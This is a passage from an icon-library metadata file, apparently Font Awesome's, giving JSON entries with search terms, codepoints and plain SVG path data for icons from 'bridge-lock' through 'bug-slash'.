        "path": "M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "bridge-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "closed", "lockdown", "quarantine", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4cc",
    "label": "Bridge Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 64c0-17.7 14.3-32 32-32H576c17.7 0 32 14.3 32 32s-14.3 32-32 32H536v64h-8c-61.9 0-112 50.1-112 112v24.6c-9.9 5.8-18.2 14.1-23.8 24.1c-17.6-20-43.4-32.7-72.2-32.7c-53 0-96 43-96 96v64c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V384c0-53-43-96-96-96V160h72V96H64C46.3 96 32 81.7 32 64zM408 96v64h80V96H408zm-48 64V96H280v64h80zM152 96v64h80V96H152zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 64c0-17.7 14.3-32 32-32H576c17.7 0 32 14.3 32 32s-14.3 32-32 32H536v64h-8c-61.9 0-112 50.1-112 112v24.6c-9.9 5.8-18.2 14.1-23.8 24.1c-17.6-20-43.4-32.7-72.2-32.7c-53 0-96 43-96 96v64c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V384c0-53-43-96-96-96V160h72V96H64C46.3 96 32 81.7 32 64zM408 96v64h80V96H408zm-48 64V96H280v64h80zM152 96v64h80V96H152zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z"
      }
    },
    "free": ["solid"]
  },
  "bridge-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4ce",
    "label": "Bridge Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 96C0 78.3 14.3 64 32 64H544c17.7 0 32 14.3 32 32v35.6c0 15.7-12.7 28.4-28.4 28.4c-37.3 0-67.6 30.2-67.6 67.6V352.5c-12.9 0-25.8 3.9-36.8 11.7c-18 12.4-40.1 20.3-59.2 20.3h0l0-.5V256c0-53-43-96-96-96s-96 43-96 96V384l0 .5c-19 0-41.2-7.9-59.1-20.3c-11.1-7.8-24-11.7-36.9-11.7V227.6C96 190.2 65.8 160 28.4 160C12.7 160 0 147.3 0 131.6V96zM306.5 389.9C329 405.4 356.5 416 384 416c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 469.7 417 480 384 480c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 405.2 165.1 416 192 416c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 96C0 78.3 14.3 64 32 64H544c17.7 0 32 14.3 32 32v35.6c0 15.7-12.7 28.4-28.4 28.4c-37.3 0-67.6 30.2-67.6 67.6V352.5c-12.9 0-25.8 3.9-36.8 11.7c-18 12.4-40.1 20.3-59.2 20.3h0l0-.5V256c0-53-43-96-96-96s-96 43-96 96V384l0 .5c-19 0-41.2-7.9-59.1-20.3c-11.1-7.8-24-11.7-36.9-11.7V227.6C96 190.2 65.8 160 28.4 160C12.7 160 0 147.3 0 131.6V96zM306.5 389.9C329 405.4 356.5 416 384 416c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 469.7 417 480 384 480c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 405.2 165.1 416 192 416c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "briefcase": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4bc"],
        "secondary": ["10f0b1"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bag",
        "briefcas",
        "briefcase",
        "business",
        "luggage",
        "office",
        "work"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0b1",
    "label": "Briefcase",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160v96H192 320 512V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM512 288H320v32c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V288H0V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V288z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160v96H192 320 512V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM512 288H320v32c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V288H0V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V288z"
      }
    },
    "free": ["solid"]
  },
  "briefcase-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f469"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["doctor", "emt", "first aid", "health"]
    },
    "styles": ["solid"],
    "unicode": "f469",
    "label": "Briefcase Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zm96 152c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V320H176c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zm96 152c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V320H176c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z"
      }
    },
    "free": ["solid"]
  },
  "broom": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9f9"],
        "secondary": ["10f51a"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "broom",
        "clean",
        "cleaning",
        "firebolt",
        "fly",
        "halloween",
        "nimbus 2000",
        "quidditch",
        "sweep",
        "sweeping",
        "witch"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51a",
    "label": "Broom",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M566.6 54.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-192 192-34.7-34.7c-4.2-4.2-10-6.6-16-6.6c-12.5 0-22.6 10.1-22.6 22.6v29.1L364.3 320h29.1c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16l-34.7-34.7 192-192zM341.1 353.4L222.6 234.9c-42.7-3.7-85.2 11.7-115.8 42.3l-8 8C76.5 307.5 64 337.7 64 369.2c0 6.8 7.1 11.2 13.2 8.2l51.1-25.5c5-2.5 9.5 4.1 5.4 7.9L7.3 473.4C2.7 477.6 0 483.6 0 489.9C0 502.1 9.9 512 22.1 512l173.3 0c38.8 0 75.9-15.4 103.4-42.8c30.6-30.6 45.9-73.1 42.3-115.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M566.6 54.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-192 192-34.7-34.7c-4.2-4.2-10-6.6-16-6.6c-12.5 0-22.6 10.1-22.6 22.6v29.1L364.3 320h29.1c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16l-34.7-34.7 192-192zM341.1 353.4L222.6 234.9c-42.7-3.7-85.2 11.7-115.8 42.3l-8 8C76.5 307.5 64 337.7 64 369.2c0 6.8 7.1 11.2 13.2 8.2l51.1-25.5c5-2.5 9.5 4.1 5.4 7.9L7.3 473.4C2.7 477.6 0 483.6 0 489.9C0 502.1 9.9 512 22.1 512l173.3 0c38.8 0 75.9-15.4 103.4-42.8c30.6-30.6 45.9-73.1 42.3-115.8z"
      }
    },
    "free": ["solid"]
  },
  "broom-ball": {
    "aliases": {
      "names": ["quidditch", "quidditch-broom-ball"],
      "unicodes": {
        "secondary": ["10f458"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ball",
        "bludger",
        "broom",
        "golden snitch",
        "harry potter",
        "hogwarts",
        "quaffle",
        "sport",
        "wizard"
      ]
    },
    "styles": ["solid"],
    "unicode": "f458",
    "label": "Broom Ball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M566.6 9.4c12.5 12.5 12.5 32.8 0 45.3l-192 192 34.7 34.7c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H364.3L256 211.7V182.6c0-12.5 10.1-22.6 22.6-22.6c6 0 11.8 2.4 16 6.6l34.7 34.7 192-192c12.5-12.5 32.8-12.5 45.3 0zm-344 225.5L341.1 353.4c3.7 42.7-11.7 85.2-42.3 115.8C271.4 496.6 234.2 512 195.5 512L22.1 512C9.9 512 0 502.1 0 489.9c0-6.3 2.7-12.3 7.3-16.5L133.7 359.7c4.2-3.7-.4-10.4-5.4-7.9L77.2 377.4c-6.1 3-13.2-1.4-13.2-8.2c0-31.5 12.5-61.7 34.8-84l8-8c30.6-30.6 73.1-45.9 115.8-42.3zM464 352a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M566.6 9.4c12.5 12.5 12.5 32.8 0 45.3l-192 192 34.7 34.7c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H364.3L256 211.7V182.6c0-12.5 10.1-22.6 22.6-22.6c6 0 11.8 2.4 16 6.6l34.7 34.7 192-192c12.5-12.5 32.8-12.5 45.3 0zm-344 225.5L341.1 353.4c3.7 42.7-11.7 85.2-42.3 115.8C271.4 496.6 234.2 512 195.5 512L22.1 512C9.9 512 0 502.1 0 489.9c0-6.3 2.7-12.3 7.3-16.5L133.7 359.7c4.2-3.7-.4-10.4-5.4-7.9L77.2 377.4c-6.1 3-13.2-1.4-13.2-8.2c0-31.5 12.5-61.7 34.8-84l8-8c30.6-30.6 73.1-45.9 115.8-42.3zM464 352a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "brush": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f55d"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["art", "bristles", "color", "handle", "paint"]
    },
    "styles": ["solid"],
    "unicode": "f55d",
    "label": "Brush",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M162.4 6c-1.5-3.6-5-6-8.9-6h-19c-3.9 0-7.5 2.4-8.9 6L104.9 57.7c-3.2 8-14.6 8-17.8 0L66.4 6c-1.5-3.6-5-6-8.9-6H48C21.5 0 0 21.5 0 48V224v22.4V256H9.6 374.4 384v-9.6V224 48c0-26.5-21.5-48-48-48H230.5c-3.9 0-7.5 2.4-8.9 6L200.9 57.7c-3.2 8-14.6 8-17.8 0L162.4 6zM0 288v32c0 35.3 28.7 64 64 64h64v64c0 35.3 28.7 64 64 64s64-28.7 64-64V384h64c35.3 0 64-28.7 64-64V288H0zM192 432a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M162.4 6c-1.5-3.6-5-6-8.9-6h-19c-3.9 0-7.5 2.4-8.9 6L104.9 57.7c-3.2 8-14.6 8-17.8 0L66.4 6c-1.5-3.6-5-6-8.9-6H48C21.5 0 0 21.5 0 48V224v22.4V256H9.6 374.4 384v-9.6V224 48c0-26.5-21.5-48-48-48H230.5c-3.9 0-7.5 2.4-8.9 6L200.9 57.7c-3.2 8-14.6 8-17.8 0L162.4 6zM0 288v32c0 35.3 28.7 64 64 64h64v64c0 35.3 28.7 64 64 64s64-28.7 64-64V384h64c35.3 0 64-28.7 64-64V288H0zM192 432a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "btc": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f15a",
    "label": "BTC",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"
      }
    },
    "free": ["brands"]
  },
  "bucket": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bucket", "pail", "sandcastle"]
    },
    "styles": ["solid"],
    "unicode": "e4cf",
    "label": "Bucket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 152v8H48v-8C48 68.1 116.1 0 200 0h48c83.9 0 152 68.1 152 152v8H352v-8c0-57.4-46.6-104-104-104H200C142.6 48 96 94.6 96 152zM0 224c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32h-5.1L388.5 469c-2.6 24.4-23.2 43-47.7 43H107.2c-24.6 0-45.2-18.5-47.7-43L37.1 256H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 152v8H48v-8C48 68.1 116.1 0 200 0h48c83.9 0 152 68.1 152 152v8H352v-8c0-57.4-46.6-104-104-104H200C142.6 48 96 94.6 96 152zM0 224c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32h-5.1L388.5 469c-2.6 24.4-23.2 43-47.7 43H107.2c-24.6 0-45.2-18.5-47.7-43L37.1 256H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "buffer": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f837",
    "label": "Buffer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z"
      }
    },
    "free": ["brands"]
  },
  "bug": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f188"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.15.4",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["beetle", "error", "glitch", "insect", "repair", "report"]
    },
    "styles": ["solid"],
    "unicode": "f188",
    "label": "Bug",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c53 0 96 43 96 96v3.6c0 15.7-12.7 28.4-28.4 28.4H188.4c-15.7 0-28.4-12.7-28.4-28.4V96c0-53 43-96 96-96zM41.4 105.4c12.5-12.5 32.8-12.5 45.3 0l64 64c.7 .7 1.3 1.4 1.9 2.1c14.2-7.3 30.4-11.4 47.5-11.4H312c17.1 0 33.2 4.1 47.5 11.4c.6-.7 1.2-1.4 1.9-2.1l64-64c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-64 64c-.7 .7-1.4 1.3-2.1 1.9c6.2 12 10.1 25.3 11.1 39.5H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H416c0 24.6-5.5 47.8-15.4 68.6c2.2 1.3 4.2 2.9 6 4.8l64 64c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-63.1-63.1c-24.5 21.8-55.8 36.2-90.3 39.6V240c0-8.8-7.2-16-16-16s-16 7.2-16 16V479.2c-34.5-3.4-65.8-17.8-90.3-39.6L86.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l64-64c1.9-1.9 3.9-3.4 6-4.8C101.5 367.8 96 344.6 96 320H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96.3c1.1-14.1 5-27.5 11.1-39.5c-.7-.6-1.4-1.2-2.1-1.9l-64-64c-12.5-12.5-12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c53 0 96 43 96 96v3.6c0 15.7-12.7 28.4-28.4 28.4H188.4c-15.7 0-28.4-12.7-28.4-28.4V96c0-53 43-96 96-96zM41.4 105.4c12.5-12.5 32.8-12.5 45.3 0l64 64c.7 .7 1.3 1.4 1.9 2.1c14.2-7.3 30.4-11.4 47.5-11.4H312c17.1 0 33.2 4.1 47.5 11.4c.6-.7 1.2-1.4 1.9-2.1l64-64c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-64 64c-.7 .7-1.4 1.3-2.1 1.9c6.2 12 10.1 25.3 11.1 39.5H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H416c0 24.6-5.5 47.8-15.4 68.6c2.2 1.3 4.2 2.9 6 4.8l64 64c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-63.1-63.1c-24.5 21.8-55.8 36.2-90.3 39.6V240c0-8.8-7.2-16-16-16s-16 7.2-16 16V479.2c-34.5-3.4-65.8-17.8-90.3-39.6L86.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l64-64c1.9-1.9 3.9-3.4 6-4.8C101.5 367.8 96 344.6 96 320H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96.3c1.1-14.1 5-27.5 11.1-39.5c-.7-.6-1.4-1.2-2.1-1.9l-64-64c-12.5-12.5-12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "bug-slash": {
    "changes": ["6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beetle",
        "fix",
        "glitch",
        "insect",
        "optimize",
        "repair",
        "report",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "e490",
    "label": "Bug Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L477.4 348.9c1.7-9.4 2.6-19 2.6-28.9h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H479.7c-1.1-14.1-5-27.5-11.1-39.5c.7-.6 1.4-1.2 2.1-1.9l64-64c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-64 64c-.7 .7-1.3 1.4-1.9 2.1C409.2 164.1 393.1 160 376 160H264c-8.3 0-16.3 1-24 2.8L38.8 5.1zM320 0c-53 0-96 43-96 96v3.6c0 15.7 12.7 28.4 28.4 28.4H387.6c15.7 0 28.4-12.7 28.4-28.4V96c0-53-43-96-96-96zM160.3 256H96c-17.7 0-32 14.3-32 32s14.3 32 32 32h64c0 24.6 5.5 47.8 15.4 68.6c-2.2 1.3-4.2 2.9-6 4.8l-64 64c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l63.1-63.1c24.5 21.8 55.8 36.2 90.3 39.6V335.5L166.7 227.3c-3.4 9-5.6 18.7-6.4 28.7zM336 479.2c36.6-3.6 69.7-19.6 94.8-43.8L336 360.7V479.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L477.4 348.9c1.7-9.4 2.6-19 2.6-28.9h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H479.7c-1.1-14.1-5-27.5-11.1-39.5c.7-.6 1.4-1.2 2.1-1.9l64-64c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-64 64c-.7 .7-1.3 1.4-1.9 2.1C409.2 164.1 393.1 160 376 160H264c-8.3 0-16.3 1-24 2.8L38.8 5.1zM320 0c-53 0-96 43-96 96v3.6c0 15.7 12.7 28.4 28.4 28.4H387.6c15.7 0 28.4-12.7 28.4-28.4V96c0-53-43-96-96-96zM160.3 256H96c-17.7 0-32 14.3-32 32s14.3 32 32 32h64c0 24.6 5.5 47.8 15.4 68.6c-2.2 1.3-4.2 2.9-6 4.8l-64 64c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l63.1-63.1c24.5 21.8 55.8 36.2 90.3 39.6V335.5L166.7 227.3c-3.4 9-5.6 18.7-6.4 28.7zM336 479.2c36.6-3.6 69.7-19.6 94.8-43.8L336 360.7V479.2z"
      }
    },
    "free": ["solid"]
  },
  "bugs": {
